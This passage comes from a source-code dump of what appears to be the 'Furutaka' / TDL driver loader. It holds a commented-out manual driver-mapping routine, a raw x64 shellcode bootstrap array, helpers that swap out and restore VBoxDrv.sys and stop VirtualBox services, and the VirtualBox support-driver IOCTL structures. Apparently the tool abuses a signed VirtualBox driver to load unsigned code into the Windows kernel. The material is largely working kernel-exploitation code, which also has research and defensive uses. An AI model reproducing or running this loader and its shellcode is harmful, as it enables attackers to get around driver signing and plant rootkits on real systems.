219 | *(PULONGLONG)((ULONG_PTR)Image + rel->VirtualAddress + (*chains & 0x0fff)) += delta;
220 | break;
221 | }
222 |
223 | chains++;
224 | p += sizeof(WORD);
225 | }
226 |
227 | c += rel->SizeOfBlock;
228 | rel = (PIMAGE_BASE_RELOCATION)((PBYTE)rel + rel->SizeOfBlock);
229 | }
230 | }
231 |
232 | isz >>= 3;
233 | for (pos = 0; pos < isz; pos++)
234 | ((PULONG64)exbuffer)[pos] = ((PULONG64)Image)[pos];
235 |
236 | DriverEntry = (PfnDriverEntry)(exbuffer + popth->AddressOfEntryPoint);
237 | DriverEntry();
238 | }
239 | */
240 |
241 | static const unsigned char TDLBootstrapLoader_code_w10rs2[321] = {
242 | 0x40, 0x53, 0x55, 0x56, 0x48, 0x83, 0xEC, 0x20, 0x4C, 0x8B, 0xC9, 0x4C, 0x89, 0x7C, 0x24, 0x50,
243 | 0x48, 0x8D, 0x1D, 0xE9, 0xFF, 0xFF, 0xFF, 0x33, 0xC9, 0x48, 0x81, 0xC3, 0x00, 0x03, 0x00, 0x00,
244 | 0x41, 0xB8, 0x54, 0x64, 0x6C, 0x53, 0x48, 0x63, 0x6B, 0x3C, 0x48, 0x03, 0xEB, 0x44, 0x8B, 0x7D,
245 | 0x50, 0x41, 0x8D, 0x97, 0x00, 0x10, 0x00, 0x00, 0x41, 0xFF, 0xD1, 0x48, 0x8D, 0xB0, 0x00, 0x10,
246 | 0x00, 0x00, 0x48, 0x81, 0xE6, 0x00, 0xF0, 0xFF, 0xFF, 0x83, 0xBD, 0x84, 0x00, 0x00, 0x00, 0x05,
247 | 0x0F, 0x86, 0xA5, 0x00, 0x00, 0x00, 0x8B, 0x8D, 0xB0, 0x00, 0x00, 0x00, 0x85, 0xC9, 0x0F, 0x84,
248 | 0x97, 0x00, 0x00, 0x00, 0x48, 0x89, 0x7C, 0x24, 0x40, 0x4C, 0x8D, 0x04, 0x0B, 0x4C, 0x8B, 0xDE,
249 | 0x4C, 0x89, 0x74, 0x24, 0x48, 0x4C, 0x2B, 0x5D, 0x30, 0x33, 0xFF, 0x44, 0x8B, 0xB5, 0xB4, 0x00,
250 | 0x00, 0x00, 0x45, 0x85, 0xF6, 0x74, 0x6A, 0x66, 0x0F, 0x1F, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00,
251 | 0x41, 0xB9, 0x08, 0x00, 0x00, 0x00, 0x4D, 0x8D, 0x50, 0x08, 0x45, 0x39, 0x48, 0x04, 0x76, 0x43,
252 | 0x41, 0x0F, 0xB7, 0x02, 0x8B, 0xC8, 0xC1, 0xE9, 0x0C, 0x83, 0xF9, 0x03, 0x74, 0x17, 0x83, 0xF9,
253 | 0x0A, 0x75, 0x22, 0x41, 0x8B, 0x10, 0x25, 0xFF, 0x0F, 0x00, 0x00, 0x48, 0x8D, 0x0C, 0x03, 0x4C,
254 | 0x01, 0x1C, 0x0A, 0xEB, 0x10, 0x41, 0x8B, 0x10, 0x25, 0xFF, 0x0F, 0x00, 0x00, 0x48, 0x8D, 0x0C,
255 | 0x03, 0x44, 0x01, 0x1C, 0x0A, 0x49, 0x83, 0xC2, 0x02, 0x41, 0x83, 0xC1, 0x02, 0x45, 0x3B, 0x48,
256 | 0x04, 0x72, 0xBD, 0x41, 0x8B, 0x40, 0x04, 0x03, 0xF8, 0x4C, 0x03, 0xC0, 0x41, 0x3B, 0xFE, 0x72,
257 | 0x9F, 0x48, 0x8B, 0x7C, 0x24, 0x40, 0x4C, 0x8B, 0x74, 0x24, 0x48, 0x49, 0x8B, 0xD7, 0x4C, 0x8B,
258 | 0x7C, 0x24, 0x50, 0x48, 0xC1, 0xEA, 0x03, 0x48, 0x85, 0xD2, 0x74, 0x25, 0x48, 0x8B, 0xCE, 0x48,
259 | 0x2B, 0xDE, 0x0F, 0x1F, 0x40, 0x00, 0x66, 0x66, 0x0F, 0x1F, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00,
260 | 0x48, 0x8B, 0x04, 0x0B, 0x48, 0x89, 0x01, 0x48, 0x8D, 0x49, 0x08, 0x48, 0x83, 0xEA, 0x01, 0x75,
261 | 0xEF, 0x8B, 0x45, 0x28, 0x48, 0x03, 0xC6, 0x48, 0x83, 0xC4, 0x20, 0x5E, 0x5D, 0x5B, 0x48, 0xFF,
262 | 0xE0
263 | };
264 |
--------------------------------------------------------------------------------
/Source/Furutaka/sup.c:
--------------------------------------------------------------------------------
1 | /*******************************************************************************
2 | *
3 | * (C) COPYRIGHT AUTHORS, 2016 - 2019
4 | *
5 | * TITLE: SUP.C
6 | *
7 | * VERSION: 1.15
8 | *
9 | * DATE: 19 Apr 2019
10 | *
11 | * THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF
12 | * ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED
13 | * TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A
14 | * PARTICULAR PURPOSE.
15 | *
16 | *******************************************************************************/
17 | #include "global.h"
18 |
19 | /*
20 | * supGetSystemInfo
21 | *
22 | * Purpose:
23 | *
24 | * Wrapper for NtQuerySystemInformation.
25 | *
26 | */
27 | PVOID supGetSystemInfo(
28 | _In_ SYSTEM_INFORMATION_CLASS InfoClass
29 | )
30 | {
31 | INT c = 0;
32 | PVOID Buffer = NULL;
33 | ULONG Size = 0x1000;
34 | NTSTATUS status;
35 | ULONG memIO;
36 | PVOID hHeap = NtCurrentPeb()->ProcessHeap;
37 |
38 | do {
39 | Buffer = RtlAllocateHeap(hHeap, HEAP_ZERO_MEMORY, (SIZE_T)Size);
40 | if (Buffer != NULL) {
41 | status = NtQuerySystemInformation(InfoClass, Buffer, Size, &memIO);
42 | }
43 | else {
44 | return NULL;
45 | }
46 | if (status == STATUS_INFO_LENGTH_MISMATCH) {
47 | RtlFreeHeap(hHeap, 0, Buffer);
48 | Buffer = NULL;
49 | Size *= 2;
50 | c++;
51 | if (c > 100) {
52 | status = STATUS_SECRET_TOO_LONG;
53 | break;
54 | }
55 | }
56 | } while (status == STATUS_INFO_LENGTH_MISMATCH);
57 |
58 | if (NT_SUCCESS(status)) {
59 | return Buffer;
60 | }
61 |
62 | if (Buffer) {
63 | RtlFreeHeap(hHeap, 0, Buffer);
64 | }
65 | return NULL;
66 | }
67 |
68 | /*
69 | * supGetNtOsBase
70 | *
71 | * Purpose:
72 | *
73 | * Return ntoskrnl base address.
74 | *
75 | */
76 | ULONG_PTR supGetNtOsBase(
77 | VOID
78 | )
79 | {
80 | PRTL_PROCESS_MODULES miSpace;
81 | ULONG_PTR NtOsBase = 0;
82 |
83 | miSpace = (PRTL_PROCESS_MODULES)supGetSystemInfo(SystemModuleInformation);
84 | if (miSpace) {
85 | NtOsBase = (ULONG_PTR)miSpace->Modules[0].ImageBase;
86 | RtlFreeHeap(NtCurrentPeb()->ProcessHeap, 0, miSpace);
87 | }
88 | return NtOsBase;
89 | }
90 |
91 | /*
92 | * supQueryResourceData
93 | *
94 | * Purpose:
95 | *
96 | * Load resource by given id (win32 FindResource, SizeofResource, LockResource).
97 | *
98 | */
99 | PBYTE supQueryResourceData(
100 | _In_ ULONG_PTR ResourceId,
101 | _In_ PVOID DllHandle,
102 | _In_ PULONG DataSize
103 | )
104 | {
105 | NTSTATUS status;
106 | ULONG_PTR IdPath[3];
107 | IMAGE_RESOURCE_DATA_ENTRY *DataEntry;
108 | PBYTE Data = NULL;
109 | ULONG SizeOfData = 0;
110 |
111 | if (DllHandle != NULL) {
112 |
113 | IdPath[0] = (ULONG_PTR)RT_RCDATA; //type
114 | IdPath[1] = ResourceId; //id
115 | IdPath[2] = 0; //lang
116 |
117 | status = LdrFindResource_U(DllHandle, (ULONG_PTR*)&IdPath, 3, &DataEntry);
118 | if (NT_SUCCESS(status)) {
119 | status = LdrAccessResource(DllHandle, DataEntry, (PVOID*)&Data, &SizeOfData);
120 | if (NT_SUCCESS(status)) {
121 | if (DataSize) {
122 | *DataSize = SizeOfData;
123 | }
124 | }
125 | }
126 | }
127 | return Data;
128 | }
129 |
130 | /*
131 | * supBackupVBoxDrv
132 | *
133 | * Purpose:
134 | *
135 | * Backup virtualbox driver file if it already installed.
136 | *
137 | */
138 | BOOL supBackupVBoxDrv(
139 | _In_ BOOL bRestore
140 | )
141 | {
142 | BOOL bResult = FALSE;
143 | WCHAR szOldDriverName[MAX_PATH * 2];
144 | WCHAR szNewDriverName[MAX_PATH * 2];
145 | WCHAR szDriverDirName[MAX_PATH * 2];
146 |
147 | if (!GetSystemDirectory(szDriverDirName, MAX_PATH)) {
148 | return FALSE;
149 | }
150 |
151 | _strcat(szDriverDirName, TEXT("\\drivers\\"));
152 |
153 | if (bRestore) {
154 | _strcpy(szOldDriverName, szDriverDirName);
155 | _strcat(szOldDriverName, TEXT("VBoxDrv.backup"));
156 | if (PathFileExists(szOldDriverName)) {
157 | _strcpy(szNewDriverName, szDriverDirName);
158 | _strcat(szNewDriverName, TEXT("VBoxDrv.sys"));
159 | bResult = MoveFileEx(szOldDriverName, szNewDriverName,
160 | MOVEFILE_REPLACE_EXISTING | MOVEFILE_WRITE_THROUGH);
161 | }
162 | }
163 | else {
164 | _strcpy(szOldDriverName, szDriverDirName);
165 | _strcat(szOldDriverName, TEXT("VBoxDrv.sys"));
166 | _strcpy(szNewDriverName, szDriverDirName);
167 | _strcat(szNewDriverName, TEXT("VBoxDrv.backup"));
168 | bResult = MoveFileEx(szOldDriverName, szNewDriverName,
169 | MOVEFILE_REPLACE_EXISTING | MOVEFILE_WRITE_THROUGH);
170 | }
171 | return bResult;
172 | }
173 |
174 | /*
175 | * supWriteBufferToFile
176 | *
177 | * Purpose:
178 | *
179 | * Create new file (or open existing) and write (append) buffer to it.
180 | *
181 | */
182 | SIZE_T supWriteBufferToFile(
183 | _In_ PWSTR lpFileName,
184 | _In_ PVOID Buffer,
185 | _In_ SIZE_T Size,
186 | _In_ BOOL Flush,
187 | _In_ BOOL Append
188 | )
189 | {
190 | NTSTATUS Status;
191 | DWORD dwFlag;
192 | HANDLE hFile = NULL;
193 | OBJECT_ATTRIBUTES attr;
194 | UNICODE_STRING NtFileName;
195 | IO_STATUS_BLOCK IoStatus;
196 | LARGE_INTEGER Position;
197 | ACCESS_MASK DesiredAccess;
198 | PLARGE_INTEGER pPosition = NULL;
199 | ULONG_PTR nBlocks, BlockIndex;
200 | ULONG BlockSize, RemainingSize;
201 | PBYTE ptr = (PBYTE)Buffer;
202 | SIZE_T BytesWritten = 0;
203 |
204 | if (RtlDosPathNameToNtPathName_U(lpFileName, &NtFileName, NULL, NULL) == FALSE)
205 | return 0;
206 |
207 | DesiredAccess = FILE_WRITE_ACCESS | SYNCHRONIZE;
208 | dwFlag = FILE_OVERWRITE_IF;
209 |
210 | if (Append != FALSE) {
211 | DesiredAccess |= FILE_READ_ACCESS;
212 | dwFlag = FILE_OPEN_IF;
213 | }
214 |
215 | InitializeObjectAttributes(&attr, &NtFileName, OBJ_CASE_INSENSITIVE, 0, NULL);
216 |
217 | __try {
218 | Status = NtCreateFile(&hFile, DesiredAccess, &attr,
219 | &IoStatus, NULL, FILE_ATTRIBUTE_NORMAL, 0, dwFlag,
220 | FILE_SYNCHRONOUS_IO_NONALERT | FILE_NON_DIRECTORY_FILE, NULL, 0);
221 |
222 | if (!NT_SUCCESS(Status))
223 | __leave;
224 |
225 | pPosition = NULL;
226 |
227 | if (Append != FALSE) {
228 | Position.LowPart = FILE_WRITE_TO_END_OF_FILE;
229 | Position.HighPart = -1;
230 | pPosition = &Position;
231 | }
232 |
233 | if (Size < 0x80000000) {
234 | BlockSize = (ULONG)Size;
235 | Status = NtWriteFile(hFile, 0, NULL, NULL, &IoStatus, ptr, BlockSize, pPosition, NULL);
236 | if (!NT_SUCCESS(Status))
237 | __leave;
238 |
239 | BytesWritten += IoStatus.Information;
240 | }
241 | else {
242 | BlockSize = 0x7FFFFFFF;
243 | nBlocks = (Size / BlockSize);
244 | for (BlockIndex = 0; BlockIndex < nBlocks; BlockIndex++) {
245 |
246 | Status = NtWriteFile(hFile, 0, NULL, NULL, &IoStatus, ptr, BlockSize, pPosition, NULL);
247 | if (!NT_SUCCESS(Status))
248 | __leave;
249 |
250 | ptr += BlockSize;
251 | BytesWritten += IoStatus.Information;
252 | }
253 | RemainingSize = (ULONG)(Size % BlockSize);
254 | if (RemainingSize != 0) {
255 | Status = NtWriteFile(hFile, 0, NULL, NULL, &IoStatus, ptr, RemainingSize, pPosition, NULL);
256 | if (!NT_SUCCESS(Status))
257 | __leave;
258 | BytesWritten += IoStatus.Information;
259 | }
260 | }
261 | }
262 | __finally {
263 | if (hFile != NULL) {
264 | if (Flush != FALSE) NtFlushBuffersFile(hFile, &IoStatus);
265 | NtClose(hFile);
266 | }
267 | RtlFreeUnicodeString(&NtFileName);
268 | }
269 | return BytesWritten;
270 | }
271 |
272 | /*
273 | * supDetectObjectCallback
274 | *
275 | * Purpose:
276 | *
277 | * Comparer callback routine used in objects enumeration.
278 | *
279 | */
280 | NTSTATUS NTAPI supDetectObjectCallback(
281 | _In_ POBJECT_DIRECTORY_INFORMATION Entry,
282 | _In_ PVOID CallbackParam
283 | )
284 | {
285 | POBJSCANPARAM Param = (POBJSCANPARAM)CallbackParam;
286 |
287 | if (Entry == NULL) {
288 | return STATUS_INVALID_PARAMETER_1;
289 | }
290 |
291 | if (CallbackParam == NULL) {
292 | return STATUS_INVALID_PARAMETER_2;
293 | }
294 |
295 | if (Param->Buffer == NULL || Param->BufferSize == 0) {
296 | return STATUS_MEMORY_NOT_ALLOCATED;
297 | }
298 |
299 | if (Entry->Name.Buffer) {
300 | if (_strcmpi_w(Entry->Name.Buffer, Param->Buffer) == 0) {
301 | return STATUS_SUCCESS;
302 | }
303 | }
304 | return STATUS_UNSUCCESSFUL;
305 | }
306 |
307 | /*
308 | * supEnumSystemObjects
309 | *
310 | * Purpose:
311 | *
312 | * Lookup object by name in given directory.
313 | *
314 | */
315 | NTSTATUS NTAPI supEnumSystemObjects(
316 | _In_opt_ LPWSTR pwszRootDirectory,
317 | _In_opt_ HANDLE hRootDirectory,
318 | _In_ PENUMOBJECTSCALLBACK CallbackProc,
319 | _In_opt_ PVOID CallbackParam
320 | )
321 | {
322 | BOOL cond = TRUE;
323 | ULONG ctx, rlen;
324 | HANDLE hDirectory = NULL;
325 | NTSTATUS status;
326 | NTSTATUS CallbackStatus;
327 | OBJECT_ATTRIBUTES attr;
328 | UNICODE_STRING sname;
329 |
330 | POBJECT_DIRECTORY_INFORMATION objinf;
331 |
332 | if (CallbackProc == NULL) {
333 | return STATUS_INVALID_PARAMETER_4;
334 | }
335 |
336 | status = STATUS_UNSUCCESSFUL;
337 |
338 | __try {
339 |
340 | // We can use root directory.
341 | if (pwszRootDirectory != NULL) {
342 | RtlSecureZeroMemory(&sname, sizeof(sname));
343 | RtlInitUnicodeString(&sname, pwszRootDirectory);
344 | InitializeObjectAttributes(&attr, &sname, OBJ_CASE_INSENSITIVE, NULL, NULL);
345 | status = NtOpenDirectoryObject(&hDirectory, DIRECTORY_QUERY, &attr);
346 | if (!NT_SUCCESS(status)) {
347 | return status;
348 | }
349 | }
350 | else {
351 | if (hRootDirectory == NULL) {
352 | return STATUS_INVALID_PARAMETER_2;
353 | }
354 | hDirectory = hRootDirectory;
355 | }
356 |
357 | // Enumerate objects in directory.
358 | ctx = 0;
359 | do {
360 |
361 | rlen = 0;
362 | status = NtQueryDirectoryObject(hDirectory, NULL, 0, TRUE, FALSE, &ctx, &rlen);
363 | if (status != STATUS_BUFFER_TOO_SMALL)
364 | break;
365 |
366 | objinf = (POBJECT_DIRECTORY_INFORMATION)RtlAllocateHeap(NtCurrentPeb()->ProcessHeap, HEAP_ZERO_MEMORY, rlen);
367 | if (objinf == NULL)
368 | break;
369 |
370 | status = NtQueryDirectoryObject(hDirectory, objinf, rlen, TRUE, FALSE, &ctx, &rlen);
371 | if (!NT_SUCCESS(status)) {
372 | RtlFreeHeap(NtCurrentPeb()->ProcessHeap, 0, objinf);
373 | break;
374 | }
375 |
376 | CallbackStatus = CallbackProc(objinf, CallbackParam);
377 |
378 | RtlFreeHeap(NtCurrentPeb()->ProcessHeap, 0, objinf);
379 |
380 | if (NT_SUCCESS(CallbackStatus)) {
381 | status = STATUS_SUCCESS;
382 | break;
383 | }
384 |
385 | } while (cond);
386 |
387 | if (hDirectory != NULL) {
388 | NtClose(hDirectory);
389 | }
390 |
391 | }
392 | __except (EXCEPTION_EXECUTE_HANDLER) {
393 | status = STATUS_ACCESS_VIOLATION;
394 | }
395 |
396 | return status;
397 | }
398 |
399 | /*
400 | * supIsObjectExists
401 | *
402 | * Purpose:
403 | *
404 | * Return TRUE if the given object exists, FALSE otherwise.
405 | *
406 | */
407 | BOOLEAN supIsObjectExists(
408 | _In_ LPWSTR RootDirectory,
409 | _In_ LPWSTR ObjectName
410 | )
411 | {
412 | OBJSCANPARAM Param;
413 |
414 | if (ObjectName == NULL) {
415 | return FALSE;
416 | }
417 |
418 | Param.Buffer = ObjectName;
419 | Param.BufferSize = (ULONG)_strlen(ObjectName);
420 |
421 | return NT_SUCCESS(supEnumSystemObjects(RootDirectory, NULL, supDetectObjectCallback, &Param));
422 | }
423 |
424 | /*
425 | * supxStopServiceShowError
426 | *
427 | * Purpose:
428 | *
429 | * Display Function + LastError message for SCM part, Function limited to MAX_PATH.
430 | *
431 | */
432 | VOID supxStopServiceShowError(
433 | _In_ LPWSTR Function,
434 | _In_ DWORD ErrorCode)
435 | {
436 | WCHAR szMessage[300];
437 |
438 | _strcpy(szMessage, TEXT("SCM: "));
439 | _strcat(szMessage, Function);
440 | _strcat(szMessage, TEXT(" failed ("));
441 | ultostr(ErrorCode, _strend(szMessage));
442 | _strcat(szMessage, TEXT(")"));
443 | cuiPrintText(szMessage, TRUE);
444 | }
445 |
446 | /*
447 | * supStopVBoxService
448 | *
449 | * Purpose:
450 | *
451 | * Stop given VirtualBox service (unload kernel driver).
452 | *
453 | */
454 | BOOLEAN supStopVBoxService(
455 | _In_ SC_HANDLE schSCManager,
456 | _In_ LPWSTR szSvcName //MAX_PATH limit
457 | )
458 | {
459 | BOOLEAN bResult = FALSE;
460 |
461 | SC_HANDLE schService;
462 | SERVICE_STATUS_PROCESS ssp;
463 | DWORD dwStartTime = GetTickCount();
464 | DWORD dwBytesNeeded;
465 | DWORD dwTimeout = 30000; //30 seconds timeout for this proc.
466 | DWORD dwWaitTime;
467 | DWORD dwLastError;
468 |
469 | WCHAR szMessage[MAX_PATH * 2];
470 |
471 | _strcpy(szMessage, TEXT("SCM: Attempt to stop "));
472 | _strcat(szMessage, szSvcName);
473 | cuiPrintText(szMessage, TRUE);
474 |
475 | //
476 | // Open service, if service does not exist consider this as success and leave.
477 | //
478 | schService = OpenService(
479 | schSCManager,
480 | szSvcName,
481 | SERVICE_STOP |
482 | SERVICE_QUERY_STATUS);
483 |
484 | if (schService == NULL) {
485 | dwLastError = GetLastError();
486 | if (dwLastError == ERROR_SERVICE_DOES_NOT_EXIST) {
487 | cuiPrintText(TEXT("SCM: Service does not exist, skip"), TRUE);
488 | return TRUE;
489 | }
490 | else {
491 | supxStopServiceShowError(TEXT("OpenService"), GetLastError());
492 | return FALSE;
493 | }
494 | }
495 |
496 | //
497 | // Query service status.
498 | //
499 | if (!QueryServiceStatusEx(
500 | schService,
501 | SC_STATUS_PROCESS_INFO,
502 | (LPBYTE)&ssp,
503 | sizeof(SERVICE_STATUS_PROCESS),
504 | &dwBytesNeeded))
505 | {
506 | supxStopServiceShowError(TEXT("QueryServiceStatusEx"), GetLastError());
507 | goto stop_cleanup;
508 | }
509 |
510 | if (ssp.dwCurrentState == SERVICE_STOPPED) {
511 | cuiPrintText(TEXT("SCM: Service is already stopped"), TRUE);
512 | bResult = TRUE;
513 | goto stop_cleanup;
514 | }
515 |
516 | //
517 | // If service already in stop pending state, wait a little.
518 | //
519 | while (ssp.dwCurrentState == SERVICE_STOP_PENDING)
520 | {
521 | cuiPrintText(TEXT("SCM: Service stop pending..."), TRUE);
522 |
523 | dwWaitTime = ssp.dwWaitHint / 10;
524 |
525 | if (dwWaitTime < 1000)
526 | dwWaitTime = 1000;
527 | else if (dwWaitTime > 10000)
528 | dwWaitTime = 10000;
529 |
530 | Sleep(dwWaitTime);
531 |
532 | if (!QueryServiceStatusEx(
533 | schService,
534 | SC_STATUS_PROCESS_INFO,
535 | (LPBYTE)&ssp,
536 | sizeof(SERVICE_STATUS_PROCESS),
537 | &dwBytesNeeded))
538 | {
539 | supxStopServiceShowError(TEXT("QueryServiceStatusEx"), GetLastError());
540 | goto stop_cleanup;
541 | }
542 |
543 | if (ssp.dwCurrentState == SERVICE_STOPPED)
544 | {
545 | cuiPrintText(TEXT("SCM: Service stopped successfully"), TRUE);
546 | bResult = TRUE;
547 | goto stop_cleanup;
548 | }
549 |
550 | //
551 | // 30 seconds execution timeout reached.
552 | //
553 | if (GetTickCount() - dwStartTime > dwTimeout) {
554 | cuiPrintText(TEXT("SCM: Service stop timed out.\n"), TRUE);
555 | goto stop_cleanup;
556 | }
557 | }
558 |
559 | //
560 | // Stop service.
561 | //
562 | if (!ControlService(
563 | schService,
564 | SERVICE_CONTROL_STOP,
565 | (LPSERVICE_STATUS)&ssp))
566 | {
567 | supxStopServiceShowError(TEXT("ControlService"), GetLastError());
568 | goto stop_cleanup;
569 | }
570 |
571 | //
572 | // Check whatever we need to wait for service stop.
573 | //
574 | while (ssp.dwCurrentState != SERVICE_STOPPED)
575 | {
576 | Sleep(ssp.dwWaitHint);
577 | if (!QueryServiceStatusEx(
578 | schService,
579 | SC_STATUS_PROCESS_INFO,
580 | (LPBYTE)&ssp,
581 | sizeof(SERVICE_STATUS_PROCESS),
582 | &dwBytesNeeded))
583 | {
584 | supxStopServiceShowError(TEXT("QueryServiceStatusEx"), GetLastError());
585 | goto stop_cleanup;
586 | }
587 |
588 | if (ssp.dwCurrentState == SERVICE_STOPPED)
589 | break;
590 |
591 | //
592 | // 30 seconds execution timeout reached.
593 | //
594 | if (GetTickCount() - dwStartTime > dwTimeout) {
595 | cuiPrintText(TEXT("SCM: Wait timed out"), TRUE);
596 | goto stop_cleanup;
597 | }
598 | }
599 | cuiPrintText(TEXT("SCM: Service stopped successfully"), TRUE);
600 | bResult = TRUE;
601 |
602 | stop_cleanup:
603 | CloseServiceHandle(schService);
604 |
605 | return bResult;
606 | }
607 |
--------------------------------------------------------------------------------
/Source/Furutaka/sup.h:
--------------------------------------------------------------------------------
1 | /*******************************************************************************
2 | *
3 | * (C) COPYRIGHT AUTHORS, 2016 - 2019
4 | *
5 | * TITLE: SUP.H
6 | *
7 | * VERSION: 1.15
8 | *
9 | * DATE: 19 Apr 2019
10 | *
11 | * Common header file for the program support routines.
12 | *
13 | * THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF
14 | * ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED
15 | * TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A
16 | * PARTICULAR PURPOSE.
17 | *
18 | *******************************************************************************/
19 | #pragma once
20 |
21 | typedef NTSTATUS(NTAPI *PENUMOBJECTSCALLBACK)(POBJECT_DIRECTORY_INFORMATION Entry, PVOID CallbackParam);
22 |
23 | typedef struct _OBJSCANPARAM {
24 | PWSTR Buffer;
25 | ULONG BufferSize;
26 | } OBJSCANPARAM, *POBJSCANPARAM;
27 |
28 | ULONG_PTR supGetNtOsBase(
29 | VOID);
30 |
31 | PVOID supGetSystemInfo(
32 | _In_ SYSTEM_INFORMATION_CLASS InfoClass);
33 |
34 | PBYTE supQueryResourceData(
35 | _In_ ULONG_PTR ResourceId,
36 | _In_ PVOID DllHandle,
37 | _In_ PULONG DataSize);
38 |
39 | BOOL supBackupVBoxDrv(
40 | _In_ BOOL bRestore);
41 |
42 | SIZE_T supWriteBufferToFile(
43 | _In_ PWSTR lpFileName,
44 | _In_ PVOID Buffer,
45 | _In_ SIZE_T Size,
46 | _In_ BOOL Flush,
47 | _In_ BOOL Append);
48 |
49 | BOOLEAN supIsObjectExists(
50 | _In_ LPWSTR RootDirectory,
51 | _In_ LPWSTR ObjectName);
52 |
53 | BOOLEAN supStopVBoxService(
54 | _In_ SC_HANDLE schSCManager,
55 | _In_ LPWSTR szSvcName);
56 |
57 | #define PathFileExists(lpszPath) (GetFileAttributes(lpszPath) != (DWORD)-1)
58 |
--------------------------------------------------------------------------------
/Source/Furutaka/vbox.h:
--------------------------------------------------------------------------------
1 | #include
2 |
3 | typedef void* RTR0PTR;
4 |
5 | typedef struct _SUPREQHDR {
6 | /** Cookie. */
7 | uint32_t u32Cookie;
8 | /** Session cookie. */
9 | uint32_t u32SessionCookie;
10 | /** The size of the input. */
11 | uint32_t cbIn;
12 | /** The size of the output. */
13 | uint32_t cbOut;
14 | /** Flags. See SUPREQHDR_FLAGS_* for details and values. */
15 | uint32_t fFlags;
16 | /** The VBox status code of the operation, out direction only. */
17 | int32_t rc;
18 | } SUPREQHDR;
19 |
20 | /** SUP_IOCTL_COOKIE. */
21 | typedef struct _SUPCOOKIE {
22 | /** The header.
23 | * u32Cookie must be set to SUPCOOKIE_INITIAL_COOKIE.
24 | * u32SessionCookie should be set to some random value. */
25 | SUPREQHDR Hdr;
26 | union
27 | {
28 | struct
29 | {
30 | /** Magic word. */
31 | char szMagic[16];
32 | /** The requested interface version number. */
33 | uint32_t u32ReqVersion;
34 | /** The minimum interface version number. */
35 | uint32_t u32MinVersion;
36 | } In;
37 | struct
38 | {
39 | /** Cookie. */
40 | uint32_t u32Cookie;
41 | /** Session cookie. */
42 | uint32_t u32SessionCookie;
43 | /** Interface version for this session. */
44 | uint32_t u32SessionVersion;
45 | /** The actual interface version in the driver. */
46 | uint32_t u32DriverVersion;
47 | /** Number of functions available for the SUP_IOCTL_QUERY_FUNCS request. */
48 | uint32_t cFunctions;
49 | /** Session handle. */
50 | /*R0PTRTYPE(PSUPDRVSESSION)*/ PVOID pSession;
51 | } Out;
52 | } u;
53 | } SUPCOOKIE, *PSUPCOOKIE;
54 |
55 | typedef struct _SUPLDROPEN {
56 | /** The header. */
57 | SUPREQHDR Hdr;
58 | union
59 | {
60 | struct
61 | {
62 | /** Size of the image we'll be loading. */
63 | uint32_t cbImage;
64 | /** Image name.
65 | * This is the NAME of the image, not the file name. It is used
66 | * to share code with other processes. (Max len is 32 chars!) */
67 | char szName[32];
68 | } In;
69 | struct
70 | {
71 | /** The base address of the image. */
72 | RTR0PTR pvImageBase;
73 | /** Indicate whether or not the image requires loading. */
74 | BOOLEAN fNeedsLoading;
75 | } Out;
76 | } u;
77 | } SUPLDROPEN, *PSUPLDROPEN;
78 |
79 | typedef enum _SUPLDRLOADEP {
80 | SUPLDRLOADEP_NOTHING = 0,
81 | SUPLDRLOADEP_VMMR0,
82 | SUPLDRLOADEP_SERVICE,
83 | SUPLDRLOADEP_32BIT_HACK = 0x7fffffff
84 | } SUPLDRLOADEP;
85 |
86 | typedef struct _SUPSETVMFORFAST {
87 | /** The header. */
88 | SUPREQHDR Hdr;
89 | union
90 | {
91 | struct
92 | {
93 | /** The ring-0 VM handle (pointer). */
94 | PVOID pVMR0;
95 | } In;
96 | } u;
97 | } SUPSETVMFORFAST, *PSUPSETVMFORFAST;
98 |
99 | typedef struct _SUPLDRLOAD
100 | {
101 | /** The header. */
102 | SUPREQHDR Hdr;
103 | union
104 | {
105 | struct
106 | {
107 | /** The address of module initialization function. Similar to _DLL_InitTerm(hmod, 0). */
108 | PVOID pfnModuleInit;
109 | /** The address of module termination function. Similar to _DLL_InitTerm(hmod, 1). */
110 | PVOID pfnModuleTerm;
111 | /** Special entry points. */
112 | union
113 | {
114 | /** SUPLDRLOADEP_VMMR0. */
115 | struct
116 | {
117 | /** The module handle (i.e. address). */
118 | RTR0PTR pvVMMR0;
119 | /** Address of VMMR0EntryInt function. */
120 | RTR0PTR pvVMMR0EntryInt;
121 | /** Address of VMMR0EntryFast function. */
122 | RTR0PTR pvVMMR0EntryFast;
123 | /** Address of VMMR0EntryEx function. */
124 | RTR0PTR pvVMMR0EntryEx;
125 | } VMMR0;
126 | /** SUPLDRLOADEP_SERVICE. */
127 | struct
128 | {
129 | /** The service request handler.
130 | * (PFNR0SERVICEREQHANDLER isn't defined yet.) */
131 | RTR0PTR pfnServiceReq;
132 | /** Reserved, must be NIL. */
133 | RTR0PTR apvReserved[3];
134 | } Service;
135 | } EP;
136 | /** Address. */
137 | RTR0PTR pvImageBase;
138 | /** Entry point type. */
139 | SUPLDRLOADEP eEPType;
140 | /** The offset of the symbol table. */
141 | uint32_t offSymbols;
142 | /** The number of entries in the symbol table. */
143 | uint32_t cSymbols;
144 | /** The offset of the string table. */
145 | uint32_t offStrTab;
146 | /** Size of the string table. */
147 | uint32_t cbStrTab;
148 | /** Size of image (including string and symbol tables). */
149 | uint32_t cbImage;
150 | /** The image data. */
151 | char achImage[1];
152 | } In;
153 | } u;
154 | } SUPLDRLOAD, *PSUPLDRLOAD;
155 |
156 |
157 | #define RT_SIZEOFMEMB(type, member) ( sizeof(((type *)(void *)0)->member) )
158 | #define SUPCOOKIE_INITIAL_COOKIE 0x69726f74 /* 'tori' */
159 | #define SUP_IOCTL_COOKIE_SIZE_IN sizeof(SUPREQHDR) + RT_SIZEOFMEMB(SUPCOOKIE, u.In)
160 | #define SUP_IOCTL_COOKIE_SIZE_OUT sizeof(SUPREQHDR) + RT_SIZEOFMEMB(SUPCOOKIE, u.Out)
161 |
162 | #define SUP_IOCTL_FLAG 128
163 |
